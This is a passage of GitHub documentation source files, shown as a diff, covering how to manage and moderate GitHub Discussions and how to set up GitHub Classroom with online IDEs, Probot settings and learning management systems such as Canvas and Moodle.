free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your 